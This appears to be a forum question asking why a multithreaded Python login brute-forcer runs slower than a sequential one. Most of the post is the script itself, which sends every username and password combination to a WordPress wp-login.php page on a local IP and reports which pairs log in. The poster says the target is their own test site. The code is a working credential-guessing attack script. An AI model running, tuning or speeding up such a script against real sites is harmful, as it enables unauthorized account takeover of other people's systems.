Without multiprocessing my code brute-forced my test-site in 8 seconds (4 logins\100 passwords).
With multiprocessing
it took 115 seconds instead.
import requests
import multiprocessing
import itertools
from concurrent.futures import ThreadPoolExecutor
def main(user, password):
url = 'http://192.168.1.6/wp-login.php'
payload = {'log': user, 'pwd': password}
r = requests.post(url, data=payload)
if ("/wp-admin/" in r.url):
print("[+] {}/{}".format(user, password))
else:
print("[-] {}/{}".format(user, password))
if __name__ == '__main__':
users = get_usernames()
passwords = get_passwords()
with ThreadPoolExecutor(max_workers=4) as pool:
for user, password in itertools.product(users, passwords):
pool.submit(main, user, password)